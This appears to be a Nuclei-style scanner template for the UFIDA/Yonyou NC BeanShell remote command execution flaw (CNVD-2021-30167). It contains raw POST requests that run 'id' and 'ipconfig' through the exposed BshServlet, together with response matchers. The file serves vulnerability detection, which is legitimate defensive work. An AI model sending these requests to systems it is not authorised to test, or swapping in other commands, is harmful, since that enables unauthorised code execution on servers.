53 lines
1.3 KiB
YAML
53 lines
1.3 KiB
YAML
id: CNVD-2021-30167
|
|
|
|
info:
|
|
name: UFIDA NC BeanShell Remote Command Execution
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
|
|
reference:
|
|
- https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
|
|
- https://www.cnvd.org.cn/webinfo/show/6491
|
|
- https://chowdera.com/2022/03/202203110138271510.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10.0
|
|
cwe-id: CWE-77
|
|
tags: cnvd,cnvd2021,beanshell,rce,yonyou
|
|
metadata:
|
|
max-request: 2
|
|
|
|
http:
|
|
- raw:
|
|
- | #linux
|
|
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
bsh.script=exec("id");
|
|
|
|
- | #windows
|
|
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
bsh.script=exec("ipconfig");
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "uid="
|
|
- "Windows IP"
|
|
condition: or
|
|
|
|
- type: word
|
|
words:
|
|
- "BeanShell Test Servlet"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
|